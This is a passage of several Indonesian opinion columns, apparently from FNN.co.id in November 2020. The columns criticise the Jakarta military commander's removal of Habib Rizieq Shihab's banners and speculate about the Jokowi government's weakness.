Ziblatt dan Steven Levitsky. Reaksi masyarakat sipil yang begitu luas, tampaknya disadari oleh Istana dan Mabes TNI. Mereka segera membantah. Tidak pernah memerintahkan Pangdam menurunkan baliho, apalagi membubarkan FPI. Masalahnya, mereka juga tidak secara terbuka menyalahkan, apalagi mengecam dan mengambil tindakan agar Pangdam Jaya segera menghentikan langkahnya. Peribahasa Jawa menyebut perilaku istana ini sebagai “nabok nyilih tangan.” Memukul dengan memakai tangan orang lain. Mau makan nangkanya, tapi tidak mau kena getahnya. Dari sisi marketing politik, publik adalah konsumennya. Voters, pemilih yang harus dimenangkan hatinya. Produk apa dan strategi pemasaran mana yang bisa memenangkan persepsi publik? Anda, para pembaca semua yang memutuskan. End Penulis, wartawan senior FNN.co.id

Baliho “Diperangi”, Jokowi Takut Gambar?

Adakah perintah itu datang dari Presiden Jokowi karena takut Revolusi Akhlak HRS? Pihak Istana sudah membantahnya. by Mochamad Toha Surabaya FNN - Senin (23/11). Sudah 2 Kapolda dan Kapolres di Jakarta dan Jawa Barat digeser kedudukkannya. Konon, mereka itu disanksi gegara acara besar yang diselenggarakan FPI dan Habib Rizieq Shihab. Pertanyaan akhirnya muncul: mengapa ada acara besar lain di daerah lain yang berdekatan harinya Kapolda dan Kapolres setempat tak digeser dan dicopot dari jabatannya? Bahkan, jauh sebelumnya hingga hari-hari ini cukup banyak peserta Pilkada 2020 yang juga melanggar protokol kesehatan tidak menjadi penyebab Kapolres dan Kapolda ikut digeser seperti 2 Kapolda dan Kapolres di Jakarta dan Jawa Barat itu? Dari sini banyak kalangan berasumsi terjadi ketidakadilan Polri dalam memberikan tindakan di lingkungan internalnya sendiri. Dan terasumsikan pula bahwa tindakan tegas hukum hanya berlaku bagi yang bukan “pro-kekuasaan”. Kepulangan HRS tepat Hari Pahlawan, 10 November 2020, itu membuat penguasa (baca: Presiden Joko Widodo) panik. Selama ini, sepak terjang HRS dianggap sangat merepotkan penguasa. Apalagi ketika HRS terus-menerus menyerukan Jokowi mundur. Kendati seruan tersebut tak lagi terdengar setelah HRS pulang ke Indonesia. Seruan tersebut sudah berubah dengan slogan “Revolusi Akhlak”! Mungkin apa karena Revolusi Mental ala Jokowi gagal total? Contoh Revolusi Akhlak pun dilontarkan pertama kali oleh HRS pasca “artis seks” Nikita Mirzani melecehkannya. Dan, HRS membalasnya dengan sebutan “lonte” yang dijaga oleh polisi di kediamannya. Yang pasti, kepulangan HRS telah memakan banyak korban. Kapolda Metro Jaya Irjen Pol. Nana Sujana dicopot. Begitu juga Kapolda Jawa Barat Irjen Pol. Yudi Sufriadi nasibnya sama: dicopot. Tidak hanya dua Kapolda, dua Kapolres juga ikut dicopot, yaitu Kapolrestro Jakarta Pusat dan Kapolres Bogor. Empat perwira polisi ini adalah kepala kepolisian di wilayah di mana HRS mengadakan acara yang menghadirkan puluhan hingga ratusan ribu massa. Pengamat Politik dan Pemerhati Bangsa Tony Rosyid menyebut, pencopotan dua Kapolda dan dua Kapolres secara bersamaan sulit jika tidak dihubungkan dengan sepak terjang HRS. Apalagi telah diungkapkan bahwa pencopotan mereka karena dianggap tidak tegas mencegah pelanggaran protokol kesehatan di acara HRS. Situasi politik makin tegang saat Gubernur DKI Jakarta Anies Baswedan juga ikut dipanggil oleh Bareskrim terkait pelanggaran protokol kesehatan yang dilakukan HRS. Melalui surat nomor B/19925/XI/RES. 1.24/2020/DITRESKRIMUM, Anies akan diminta untuk memberikan klasifikasi terkait acara HRS. Gubernur Anies pun diperiksa selama 10 jam hingga dini hari. Anies pun sebelumnya telah konferensi pers, menjelaskan kepada publik bahwa prosedur pencegahan terhadap semua kegiatan yang berpotensi menciptakan penyebaran Covid-19, termasuk kepada HRS, telah dilakukan. Melalui Walikota Jakarta Pusat, surat sudah dikirim. Bahwa Pemprov DKI tidak memberi ijin segala bentuk kegiatan yang berpotensi terjadinya kerumunan. Sikap Anies tegas dan berlaku untuk siapa saja. Ketika HRS melangsungkan acara walimah dan Maulid Nabi, Anies memberi sanksi denda 50 juta rupiah kepada HRS. HRS berlapang dada dan langsung membayar denda itu. Cash! Selesaikah? Ternyata tidak. Perangi Baliho Diawali dengan viralnya pemberitaan Kendaraan Tempur (Ranpur) bertuliskan KOOPSSUS yang melintasi wilayah Petamburan belum lama ini. Berhenti sejenak di depan mulut gang ke kediaman HRS. Kemudian berlalu kembali. Esoknya viral sebuah video beberapa orang bersegaram “ala” TNI yang menurunkan baliho pada malam hari. Berikutnya, datang lagi sekelompok “pasukan” TNI naik sepeda motor dan berhenti di wilayah Petamburan juga tanpa aktivitas. Tidak sampai disitu, Pangdam Jaya Mayjen TNI Dudung Abdurrachman malah ikut kerahkan prajurit untuk copot gambar dan baliho HRS. Tidak hanya di Jakarta, penurunan baliho HRS juga terjadi di Jawa Tengah oleh aparat Brimob bersenjata. Apakah setelah baliho dicopot tak ada pemasangan baliho-baliho yang lain? Sepertinya tidak. Kabarnya, mulai ada pemasangan baliho di gang-gang sempit. Alasannya, agar mobil panser Pangdam Jaya nggak bisa masuk. Ada-ada aja. Emang beneran? Jika toh ada pemasangan baliho HRS, apalagi dalam jumlah besar, dipastikan itu aksi protes. Banyak pihak bertanya, apa salah baliho itu? Nggak bayar pajak? Apa baliho parpol itu bayar pajak? Apakah baliho calon kepala daerah itu bayar pajak? Apa baliho ormas itu bayar pajak? Mengutip Tony Rasyid, Kepala Dinas Pelayanan Pajak DKI Jakarta Iwan Setiawan menegaskan, tidak ada kewajiban bayar pajak untuk baliho non komersial. Lalu kenapa Pangdam Jaya yang copot? Apa itu bagian dari tupoksi TNI? Bukannya TNI itu bertugas untuk mengamankan negara dari ancaman luar? Aksi pencopotan baliho oleh Pangdam Jaya menuai kritik. Bahkan kecaman beras banyak pihak. Beredar meme, karikatur, foto, video dan tulisan yang bernada kecaman dan kritik kepada Pangdam Jaya. Dianggap berlebihan, lebay dan keluar dari tupoksinya. Fadli Zon, anggota komisi I DPR dari Gerindra mengusulkan agar Pangdam Jaya dicopot. Makin ramai! Sebaliknya, publik memberikan empati. Bahkan dukungan kepada HRS bermunculan. Lagi-lagi, banyak pihak yang merasa ini bagian dari kedzaliman. Dan sudah menjadi hukum sosial. Setiap ada orang yang dipersepsikan terdzalimi, ia akan berlimpah empati. Dicopotnya baliho HRS justru akan semakin membesarkan nama dan kharisma Imam Besar FPI ini. Kapolda Metro Jaya yang baru Irjen Polisi Fadil Imran mendukung langkah Pangdam Jaya tersebut. Aksi penurunan serupa juga terjadi di Kabupaten dan Kota Tangerang, Minggu (22/11/2020). Petugas gabungan dari Satpol PP Kabupaten Tangerang, TNI dan Polri menurunkan puluhan spanduk dan baliho bergambar HRS. Begitu pula di Kota Tangerang. Perununan baliho HRS juga berlangsung di wilayah Kabupaten dan Kota Bekasi sejak Jum’at (20/11/2020). Meski sempat mendapat penolakan warga, namun penurunan tersebut berjalan lancar juga akhirnya. Benarkah TNI secara institusi telah memerintahkan Pangdam Dudung mencopot baliho HRS? Jawaban mengejutkan datang dari Kapuspen TNI Mayjen TNI Achmad Riad. Beritasatu.com, Kamis (19/11/2020) menulis, pimpinan TNI tidak pernah memberikan perintah penurunan spanduk ataupun baliho HRS. “TNI tidak pernah memberikan perintah. Video tersebut (juga) tidak jelas siapa, belum ada klarifikasi,” kata Achmad Riad, ketika dikonfirmasi, di Jakarta, Kamis (19/11/2020). Dikatakan Riad, kalaupun ada prajurit TNI di lapangan yang menertibkan spanduk ataupun baliho, tentunya akan dilakukan bersama kepolisian. TNI biasanya hanya bersifat membantu menertibkan penurunan spanduk. “Bilapun ada hal tersebut tentunya akan dilakukan bersama sama Satpol PP, Polisi dan TNI akan membantu,” ujar Kapuspen TNI. Padahal, Mayjen Dudung awalnya baik-baik saja, bahkan memberi pernyataan positif bahwa Acara Pernikahan Putri IB HRS sudah sesuai Prokes. Dan, Rabu, 18 November 2020 sempat mengundang Pengurus DPD FPI DKI Jakarta untuk mengajak kerjasama menjaga stabilitas keamanan Ibukota Jakarta. Pertemuan berjalan sangat hangat bersahabat dan penuh damai. Namun entah kenapa, hari esoknya, hanya berselang sehari tiba-tiba berubah, menghina IB-HRS dan menantang FPI, serta mengerahkan puluhan Tank Panser Perang dan ribuan Pasukan Tempur TNI untuk menurunkan baliho HRS se-Jakarta. Adakah perintah itu datang dari Presiden Jokowi karena takut Revolusi Akhlak HRS? Pihak Istana sudah membantahnya. Penulis, wartawan senior FNN.co id

Ketika Istana Jokowi Goyah

by M Rizal Fadillah Jakarta FNN – Ahad (22/11). Ketika pembangunan infrastruktur dan investasi gagal mencapai target yang digaung-gaungkan. Ketika pertumbuhan ekonomi semakin merosot di zona minus. Ketika utang terus membengkak. Ketika covid 19 memporak-porandakan dana APBN. Maka resesi yang sedang berjalan menuju krisis, bahkan depresi ekonomi hanya persoalan waktu. Juga ketika aturan hukum yang menjadi pendukung agenda ekonomi membentur perlawanan rakyat yang harus menguras enerji. UU KPK, UU Minerba, Perppu Covid, RUU HIP, RUU BPIP maupun UU Omnibus Law Cipta kerja membuat Pemerintah bergoyang. Perlawanan rakyat muncul akibat hukum direkayasa menjadi alat kepentingan politik Belum lagi Jokowi pun pusing nggak karuan dengan pembentukan Komite Aksi Menyelematkan Indonesia (KAMI). Koalisi yang menjadi tempat berkumpulnya tokoh-tokoh oposisi lintas kelompok, profesi, maupun agama. Cabang-cabang KAMI yang mendeklarsikan diri di hampir seluruh daerah Provinsi, Kabupaten dan kota. Bahkan deklarasi KAMI juga di sejumlah negara asing. Kenyataan ini membua Presiden Jokowi panik nggak karuan. Mencoba meredam laju KAMI dengan penangkapan terhadap sejumlah tokoh KAMI seperti Syahganda, Jumhur, dan Anton Permana dan lain-lain. Teror politik dilakukan pula terhadap tokoh dan aktivis KAMI di berbagai daerah. Semua adalah langkah untuk meredam. Yang terakhir adalah urusan kepulangan Habib Rizieq Shihab (HRS). Pemerintahan Jokowi terkesan panik tingkat tinggi. Sehingga ada upaya untuk kriminalisasi HRS dan Anies Baswedan. Tentara tempur lalu dikerahkan ke markas FPI di Petamburan. Pangdam Jaya mengirim pasukan pengobrak-abrik baliho HRS. Berujung bahan tertawaan dunia. OPM Papua pun ikut terbahak-bahak. Jokowi goyah. Para Menteri terlihat kalang kabut menjalankan program dan anggaran. Covid 19 telah menjadi alasan utama. Hanya Menteri Keuangan (Menkeu) yang terlihat aktif. Itu dalam rangka mencari dan menambah hutang luar negeri yang sudah mencapai hampir Rp 6.000 triliun. Terakhir pinjaman "recehan" sebesar Rp 9,1 triliun dari Jerman. Disampaikan Duta Besar Jerman melalui akun twiternya. Itupun baru sekedar komitmen. Baru janji-jani manis . Sementara Jepang hanya menjanjikan recehan lagi Rp. 7 triliun. Sedangkan Australia tidak bedanya dengan Jerman dan Jepang. Hanya menjanjikan recehan yang lebih besar sedikit. Sekitar Rp. 11-13 triliun. Mantan Wakil Presiden Jusuf Kalla (JK) turun gunung dan aktif bergerak lagi. Menurut majalah Gatra terbentuk Poros baru JK-Anies-HRS. Wapres KH Ma'ruf Amin yang tadinya hanya "pendiam", kini mulai bermanuver. Berani berbeda pandangan Jokowi soal Pilkada. Kyai Ma'ruf minta agar Pilkada ditunda dulu. Namun Jokowi maunya jalan terus. Jokowi juga menolak untuk rekonsiliasi dengan HRS. Sementara Wapres memberi sinyal akan menemui HRS untuk membahas rekonsilasi. Pertemuan Wapres dengan HRS pasti sedang ditunggu-tunggu olah umat Islam. Pertemuan yang akan melahirkan situasi politik baru yang belum bisa diprediksi. Namun bobot politiknya sangat berarti untuk sebagian besar rakyat dan umat Islam. Dari banyak skenario perubahan politik sebagai respon atas goyahnya Jokowi, maka yang paling rasional dan pragmatis adalah naiknya Wapres menggantikan jika mundur atau dimundurkannya Presiden. PDIP yang resah dengan komposisi kementrian dan mendesak reshuffle tentu sangat mempertimbangkan perubahan itu, asal Wapres Kyai Ma'ruf ke depan adalah kader PDIP. Ormas NU yang kadang-kadang terlihat ngadat pada Pemerintah juga dipastikan mensupport gerak maju Kyai Ma'ruf sebagai sesama warganya. Elemen yang kecewa kepada kinerja Jokowi akan memaklumi jika Ma'ruf Amin naik karena prinsipnya yang penting perubahan. Pembentukan pasukan "bid'ah" di bawah Koopsus sebagai ancaman Panglima TNI. Aksi-aksi berupa "penyerbuan" ke Petamburan, arogansi Pangdam Jaya mencopot baliho HRS, dan tindakan represif lainnya bukan menunjukkan semakin kuatnya Jokowi. Melainkan hanya menampilan kerapuhannya. Prediksi sebagian publik, Jokowi sulit bertahan hingga 2024. Semua sedang bersiap-siap untuk menyongsong perubahan dengan multi skenario. Dari skenario trium virat hingga perubahan ekstra konstitusional. Dari semua itu, skenario naiknya KH Ma'ruf Amin adalah yang paling rasional. Penulis adalah Pemerhati Politik dan Kebangsaan.

Copot Satu Baliho, Pasang Seribu

by Tony Rosyid Jakarta FNN – Ahad (22/11). Habib Rizieq Shihab (HRS) didaulat menjadi tokoh fenomenal. Sejumlah pihak melihatnya demikian. Tidak hanya Islam kanan, Islam tengah mulai tertarik. Begitu juga sejumlah tokoh non muslim. Meski pro dan kontra tetap saja sangat kental. Setiap tokoh fenomenal selalu menuai pro dan kontra. Itu hukum sosial. Sebagai pendiri FPI, HRS sudah lama dikenal. Namun, hadir dan perannya tak banyak yang perhatikan. Hanya kalangan tertentu yang melihat sepak terjangnya. Sebab, pilihan "nahi mungkar" yang menjadi ciri khas FPI lebih banyak menuai kontroversi. Bahkan seringkali kurang disenangi. Tuduhan radikal harus disematkan kepada HRS dan FPI. Fenomena HRS muncul, dan dapat perhatian besar ketika terjadi peristiwa Aksi Bela Al-Quran 212. Lalu menjadi Aksi Bela Islam. Didampingi Ustaz Bachtiar Nasir, HRS manghipnotis massa. Sekitar tujuh juta manusia hadir di Monas. Ini sejarah yang dicatat oleh bangsa ini. Sebuah peristiwa langka. Belum pernah terjadi sebelumnya di dunia. Pasca 212, HRS makin mendapat perhatian publik. Terutama saat 17 kasus yang konon katanya kental nuansa kriminalisasinya dibidikkan kepada HRS. Hari demi hari media memberitakan. Hingga kemudian, HRS hijrah ke Arab Saudi karena suatu alasan. Alasan apa? Ya tanya sendiri. Di Arab Saudi, fenomena HRS nggak berhenti. Ia tetap mampu memainkan peran oposisi. Jutaan massa tak bergeser dari pengaruh narasinya. Ini terlihat ketika beberapa kali reuni 212. Jumlah massa yang hadir di Monas tetap sangat besar. Meski Sang Habib tak hadir secara fisik. Tetapi, instruksi dan konsolidasinya terbukti berjalan dengan baik. Meskipun sudah di Arab Saudi, HRS pun tak pernah sepi dari dinamika politik. Tuduhan teroris hingga pencekalan. Ini memberi daya tarik tersendiri bagi publik. Stigma "terdzalimi dan dikriminalisasi" makin melekat pada pendiri FPI ini. Tiga setengah tahun memberi komando dari Saudi, Habib Rizieq pun akhirnya memilih pulang. Tepat tanggal 10 Nopember. Hari pahlawan. Indonesia adalah tanah air yang dicintainya. Apapun risikonya, HRS mengaku akan menghadapi demi menyelamatkan negeri tempat lahirnya. Kepulangan HRS, lagi-lagi fenomenal. Ratusan ribu hingga jutaan para pendukungnya menjemput di bandara. Sejauh tujuh kilometer tol bandara Soekarno Hatta macet. Manusia berdesakan karena rasa cinta dan kerinduan kepada HRS. Ini sejarah baru. Juga belum pernah ada tokoh, apalagi pejabat yang dijemput massa sebesar itu. TNI-Polri hanya mengawasi, sambil mengatur jalan, menjaga ketertiban dan keamanan. Begitulah memang tupoksinya. Sangat cermat mereka mengkalkulasi. Yang paling aman, mereka menempuh langkah persuasi. Polisi dalam konteks ini bekerja profesional. Sangat terukur Tiba di Indonesia, HRS road show ceramah. Istana jadi was was nggak karuan. Mungkin sedikit panik. Ada kekhawatiran HRS menggulingkan kekuasaan. Basis massa jika terkonsolidasi, ini dianggap tak aman buat penguasa. Sekali ada trigger, situasi bisa jadi ancaman. Karena itu, nampak ada langkah antisipasi. Ujung dari kepulangan HRS, dua Kapolda dicopot, beserta dua kapolresnya. Kepala daerah dipanggil untuk dimintai klarifikasi. Alasannya, mereka dianggap tidak tegas menjalankan aturan protokol kesehatan dan PSBB di masa pandemi. Tidak sampai disitu, Pangdam Jaya, Mayjen TNI Dudung Abdurrachman malah kerahkan prajurit untuk copot gambar dan baliho HRS. Tidak hanya di Jakarta, baliho HRS kabarnya juga disapu bersih di Jawa Tengah. Mungkin juga daerah-daerah lain. Apakah setelah baliho dicopot tak ada pemasangan baliho-baliho yang lain? Sepertinya tidak. Kabarnya, mulai ada pemasangan baliho di gang-gang sempit. Alasannya, agar mobil panser Pangdam Jaya nggak bisa masuk. Ada-ada aja. Emang beneran? Kalau toh ada pemasangan baliho HRS, apalagi dalam jumlah besar, dipastikan itu aksi protes. Banyak pihak bertanya, apa salah baliho itu? Nggak bayar pajak? Apa baliho parpol itu bayar pajak? Apakah baliho calon kepala daerah itu bayar pajak? Apa baliho ormas itu bayar pajak? Iwan Setiawan, kepala dinas pelayanan pajak DKI menegaskan bahwa tidak ada kewajiban bayar pajak untuk baliho non komersial. Lalu kenapa Pangdam Jaya yang copot? Apa itu bagian dari tupoksi TNI? Bukannya TNI itu bertugas untuk mengamankan negara dari ancaman luar? Aksi pencopotan baliho oleh Pangdam Jaya menuai kritik. Bahkan kecaman beras banyak pihak. Beredar meme, karikatur, foto, video dan tulisan yang bernada kecaman dan kritik kepada Pangdam Jaya. Dianggap berlebihan, lebay dan keluar dari tupoksinya. Fadli Zon, anggota komisi I DPR dari Gerindra mengusulkan agar Pangdam Jaya dicopot. Makin ramai! Sebaliknya, publik memberikan empati. Bahkan dukungan kepada HRS bermunculan. Lagi-lagi, banyak pihak yang merasa ini bagian dari kedzaliman. Dan sudah menjadi hukum sosial. Setiap ada orang yang dipersepsikan terdzalimi, ia akan berlimpah empati. Dicopotnya baliho HRS justru akan semakin membesarkan nama dan kharisma imam besar FPI ini. Meski sebelumnya HRS sempat digoda dengan hadirnya Nikita Mirzani dan Abu Janda. Dua orang yang menurut para pengamat, sengaja dikelola untuk memecah konsentrasi HRS. Tak berkelas dua manusia itu. Begitu cara publik menyadarkan pendiri FPI ini. Abaikan saja mereka berdua. Bila perlu didoakan. Doa baik HRS kepada Nikita Mirzani dan Abu Janda agar bisa merusak jantung pertahanan lawan. Terima kasih Nikita Mirzani dan Abu Janda. Atau siapapun yang kritik saya. Semoga Allah sehatkan kalian, lindungi hidup kalian, dan Allah kirim rahmat dan berkah untuk keluarga kalian. Diberikan kesadaran terbaik yang membuat kalian selamat dunia dan akhirat. Nah, kalau HRS doa seperti ini, sangat keren. Ini juga dahsyat! Sebagai tokoh besar, HRS mesti dijaga narasi dan sikapnya. SDM yang berada di sekelilingnya, termasuk para juru bicaranya, mesti secara cermat bisa menjaga kharisma dan ketokohan HRS. Jika ini terukur, HRS akan menjadi magnet besar bagi hadirnya para pendukung baru. Terutama kelas menengah atas. Selain perlu memperhatikan sikap dan narasi, HRS mesti punya tim khusus yang mampu melakukan konsolidasi massa untuk merubah kerumunan jadi kekuatan. Untuk kebutuhan ini, perlu keterlibatan ulama atau tokoh berkelas seperti Ustaz Bachtiar Nasir (massa), pengusaha (logistik), purnawirawan TNI (ahli strategi), akademisi (data) dan media. Nah, kalau narasi, sikap dan konsolidasi HRS bisa dikelola dengan baik, baliho-baliho itu kemungkinan akan terpasang kembali. Bahkan jumlahnya akan bertambah banyak. Dicopot satu akan terpasang lagi seribu. Umat akan memasangnya sebagai bentuk protes kepada pemerintah, dan dukungan kepada Habib Rizieq. Lalu, untuk apa baliho-baliho itu dipasang kembali? Nanti, anda akan tahu sendiri dampak sosial dan politiknya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Pak Pangdam, Ada “Baliho” Joko Tjandra di Mabes Polri dan Kejaksaan Agung

by Asyari Usman Jakarta FNN - Minggu (22/11). Ketika berpidato di lapangan Monas, Jakarta, Jumat (20/11/2020), Pangdam Jakarta Raya Mayjen Dudung Abdurachman menekankan berulangkali bahwa Indonesia adalah negara hukum. Hukum akan ditegakkan terhadap siapa pun juga. Pangdam mengatakan itu merujuk pada penurunan (pencopotan) baliho Habib Rizieq Syihab di kawasan Petamburan, Jakarta Pusat, beberapa hari lalu. Jenderal Dudung mengatakan, dia tidak akan diam. Dia akan memerintahkan anggotanya untuk menurunkan semua baliho Habib Rizieq. Demi menegakkan peraturan, menegakkan hukum. Mantap, Pak Dudung! Seluruh rakyat tentu sangat senang. Pak Pangdam akan turun tangan menegakkan hukum. Terutama hukum tentang baliho. Asyik sekali kalau TNI mau menindak baliho tanpa pandang dulu. Kenapa asyik? Karena banyak sekali baliho yang bermasalah. Ada di mana-mana. Ada “baliho” Dato Sri Tahir (CEO Mayapada) di markas Brimob. Dia diangkat sebagai warga kehormatan korps Brimob, November 2018. Bahkan, keberadaan Tahir di Brimob kelihatannya lebih “dalam” dari sekadar baliho benaran. Terus, ada pula “baliho” Joko Tjandra (JT) di mabes Polri. Saking besarnya “baliho” yang dipasang Joko, sampai-sampai tiga jenderal polisi tersungkup megap. Tidak hanya di Polri, JT juga memasang “baliho” di gedung Kejaksaan Agung. Lagi-lagi, “baliho” Joko Tjandra di Kejaksaan Agung berukuran raksasa. Biaya pembuatannya sangat besar. Puluhan miliar. Mungkin ratusan. Begitu besarnya “baliho” JT itu, sampai-sampai gedung Kejaksaan Agung terbakar hangus seluruhnya karena terbungkus total. Konon, kabarnya, ada puntung rokok di dekat “baliho” itu. Ludeslah seluruh gedung. Para superkaya lainnya pastilah juga memasang “baliho”. Di banyak lokasi strategis. Terutama di gedung-gedung yang bisa memberikan jaminan keamanan dan kenyamanan. Gedung-gedung yang ‘menyewakan’ papan “baliho” untuk para superkaya itu. Selain Dato Sri Tahir dan Joko Tjandra, ada pula artis kondang, NikMir, yang juga ikut memasang “baliho” di berbagai posisi penting. Termasuk di sekitar Jalan Trunojoyo, Jakarta. Kabarnya, “baliho” si artis ini bagus cetakannya. Mulus dan tajam. Pixel-nya tinggi. Membuat orang-orang yang berada di sekitar “baliho” NikMir menjadi segar-bugar. Pokoknya, di Jalan Trunojoyo banyak sekali peminat “baliho” artis ini. Nah, semau “baliho” itu melanggar aturan. Pasti. Jadi, cukup banyak yang harus ditertibkan oleh TNI di bawah komando Mayjen Dudung. Pak Pangdam tentu tahu bahwa “baliho” Dato Sri Tahir di markas Brimob itu sangat memalukan. Tidak saja memalukan Jakarta, tetapi seluruh rakyat Indonesia. Bayangkan, gara-gara “baliho” ini banyak orang yang menyangka Dato Tahir itu “pembina” Brimob. Malu, kan! Pak Pangdam harus menurunkan “baliho” ini. Begitu juga “baliho” yang dipasang Joko Tjandra di Mabes Polri dan Kejaksaan Agung. Ukurannya superbesar. Pak Dudung harus bantu Polisi mencopot “baliho” Joko Tjandra itu. Tiga jenderal menjadi korban tertimpa “baliho” JT. Begitu juga “baliho” NikMir. Harus ditindak oleh Pak Pangdam. Soalnya, “baliho” ini mengiklankan ‘lontong telur’. Apa iya pantas ‘lontong telur’ diklankan di Jalan Trunojoyo. Jalan ini ‘kan dihuni oleh orang-orang yang terhormat, Pak Dudung. Sangat memalukan. Lontong telur itu ‘kan makanan jalanan. Cepat basi. Baik, Pak Panglima. Itu saja dulu. Sebenarnya banyak “baliho” ilegal yang dipasang di gedung-gedung penting lainnya. Yang memasang tentu orang-orang yang punya banyak duit. Sebab, di tempat-tempat strategis itu “pajak”-nya bertarif tinggi. Puluhan miliar sampai ratusan miliar. Rakyat akan menyimak para Pangdam lainnya dalam tugas menegakkan hukum. Khususnya, pencopotan semua “baliho” milik orang-orang superkaya. Pak Pangdam jangan khawatir. Seluruh rakyat mendukung tindakan Anda mencopot semua “baliho” itu. Cuma, “baliho” mereka itu berat menumbangkannya, Pak. Tiangnya kukuh dan banyak.[] (Penulis wartawan senior FNN.co.id)

Angkuh Ketika Berkuasa, Menyesal Setelah Pensiun

by Asyari Usman Jakarta FNN – Ahad (22/11). Banyak sekali contoh orang-orang yang bersikap angkuh, sombong, dan sok kuat ketika mereka sedang berkuasa. Tetapi, begitu pensiun, barulah tersentak bahwa kekuasaan yang diangkuhkan itu akhirnya hilang juga. Fisik pun melemah dan makin lemah. Anak-buah yang selama ini selalu “siap-gerak!”, tidak ada lagi. Kemarin masih Panglima TNI, Pangkostrad, Pangdam, Danjen, Kapolri, Kapolda, Kabareskrim, dan lain sebagainnya. Hari ini bisa lepas semuanya. Tidak ada lagi bintang di bahu. Tidak ada lagi hormat di gerbang. Sirna sudah semua kehebatan yang dibangun selama puluhan tahun itu. Kini, usia mencapai 58 tahun. Posisi hebat itu diduduki orang lain. Sebentar lagi 60 tahun. Setelah itu, perlahan menuju liang kubur. Sampailah saatnya Malaikat Maut datang memenuhi perintah Pemilik Nyawa dan janji ajal. Semua tanda pangkat yang dibangga-banggakan selama masih berdinas aktif. Berbagai penghargaan yang disematkan di dada, ternyata tidak dihitung oleh Pencabut Nyawa. Bahkan, meminta untuk penundaan sedetik pun tidak dipenuhi. Malaikat Maut datang dengan tampilan yang sesuai dengan cara hidup orang yang akan diakhiri hayatnya. Kalau tempohari sombong, mengancam-ancam, apalagi sampai mengatakan, “Jangan coba-coba ganggu, saya panglimanya, akan saya hajar nanti”. Maka kelak si Pencabut Nyawa (Izrail) akan datang dengan gaya angkuh juga. Seramnya, keangkuhan Izrail tidak bisa dilawan oleh siapa saja. Masih aktif, segar-bugar, dengan pangkat jenderal penuh pun tak sanggup menatap Izrail. Apalagi cuma seorang pensiunan yang terbaring lemah. Yang tak bisa lagi berkata-kata. Tak juga bisa lagi meneguk setetes air. Panser, senjata laras panjang, pasukan gagah-berani yang dipamerkan semasa hidup dulu, ternyata hari ini tidak bisa menolong Jenderal Angkuh (Purn) ketika dia menghadapi sakaratul maut. Jenderal yang 30 tahun silam mengucapkan “Saya panglimanya”, hari ini diantarkan ke liang lahat. Paling-paling penghormatan terakhirnya diberikan dalam bentuk tembakan salvo di upacara pemakaman. Setelah itu, Jenderal Angkuh (Purn) harus menjalani proses identifikasi di depan Munkar dan Nakir. Inilah dua malaikat yang bertugas untuk menanyakan beberapa hal fundamental kepada Jenderal Angkuh (Purn). Mereka tidak menanyakan berapa bintang yang dulu melekat di bahu. Tidak juga bertanya tentang harta-benda dan tanda jasa. Di liang kubur, Jenderal Angkuh (Purn) akan menjalani interogasi yang mengerikan. Kedua malaikat itu akan berwujud sangat menakutkan. Mereka lebih angkuh, lebih seram, dan lebih brutal dari sang jenderal. Jika catatan keangkuhan mendominasi riwayat hidup, maka bisa dipastikan perjalanan berikutnya akan sangat berat. Begitu sabda Nabi. Interogasi kuburan yang penuh horor itu baru sekadar “starter” saja. Estafet berikutnya adalah alam penantian. Di alam yang disebut “barzakh” itu, kepada setiap orang akan ditunjukkan destinasi finalnya. Diperlihatkan pagi dan petang. Orang yang angkuh, sombong dan memusuhi perjuangan di jalan Allah, akan melihat di mana dia akan menjalani “rehabilitasi”. Penyandang kesombongan dan keangkuhan adalah orang yang sangat dimurkai Allah ‘Azza wa Jalla. Jadi, wahai orang-orang yang masih segar-bugar dengan kekuasaan yang besar. Anda tak perlu tamasya spiritual ke alam ghaib untuk menelusuri tempat kembali orang-orang yang sombong. Anda cukup merasapi penderitaan batin orang-orang yang angkuh ketika berkuasa, tetapi menyesal setelah pensiun. Menyesal tidak melakukan ini dan itu. Menyesal telah menzalami para pejuang keadilan. Menyesal menghalangi perjuangan. Menyesal, menyesal, dan menyesal tak bersambut. Hingga Malaikat Maut datang menjeput. Penulis adalah Wartawan Senior FNN.co.id

Pangdam Jaya Datang, Nikita Mirzani Menghilang

by Hersubeno Arief Jakarta FNN - Sabtu (21/11/. Dari perspektif komunikasi politik, sikap keras Pangdam Jaya Mayjen TNI Dudung Abdurachman terhadap Habib Rizieq Shihab (HRS) dan FPI, merupakan berkah bukan musibah. Semakin keras sikap Pangdam Jaya, berkah semakin bertambah. Mulai dari penurunan baliho, apalagi kemudian pernyataan Pangdam Jaya “kalau perlu FPI dibubarkan!” Bayangkan apa yang terjadi kalau Pangdam Jaya tidak segera beraksi. Bagaimana dengan nasib HRS dan FPI? Dari sisi komunikasi politik, sesungguhnya posisi HRS dan FPI dalam beberapa hari terakhir, sedang sangat tertekan. Terjadi brand damage! Citranya sedang anjlok, babak belur karena perseteruannya dengan perempuan sensasional bernama Nikita Mirzani (Nikmir). Padahal sebelumnya, kepulangan HRS yang disambut ratusan ribu —ada yang menyebutnya mendekati jutaan—pendukungnya, membuat dunia ternganga! Istana dan intelijen negara, dibuat terkaget-kaget dengan datangnya massa yang berduyun-duyun. Banyak yang menggambarkan, suasananya seperti jemaah haji yang sedang berjalan kaki hendak melempar jumroh di Mina. Bikin bulu kuduk berdiri. Merinding! Namun hanya karena sorang Nikmir dianggap menghina, dan secara reaktif direspon pendukung HRS, opini publik jadi sontak berubah. Sangat disayangkan HRS kemudian juga ikut-ikutan menanggapinya. Menggunakan kosa kata yang tidak pas di telinga. Para buzzer segera bekerja dan pesta pora. HRS dan pendukungnya benar-benar berada dalam tekanan. Kalangan yang semula bersimpati dengan HRS juga ikut menyesalkannya. Peristiwa drama politik besar. Seorang tokoh pulang ke Tanah Air, disambut secara luar biasa oleh para pendukungnya. Berubah menjadi drama komedi. Layaknya sebuah reality show yang konyol. Perempuan sekelas Nikmir, yang semula hanya beredar di akun-akun gosip, tiba-tiba menyeruak masuk ke panggung percakapan politik nasional. Video dan ucapannya yang sebagian besar tidak senonoh, tiba-tiba wora-wiri di group-group pertemanan. Mulai dari WG bapak-bapak, emak-emak, sampai anak-anak. Video-videonya yang hot, menjadi hot issue. Ibarat seorang stricker, Nikmir berhasil memporak-porandakan pertahanan HRS seorang diri. Orang Jawa menyebut ribut-ribut antara HRS, pendukungnya dengan Nikmir dalam sebuah frasa “”Menang orang kondang. Kalah malah dadi wirang!” Menang tidak bikin tambah 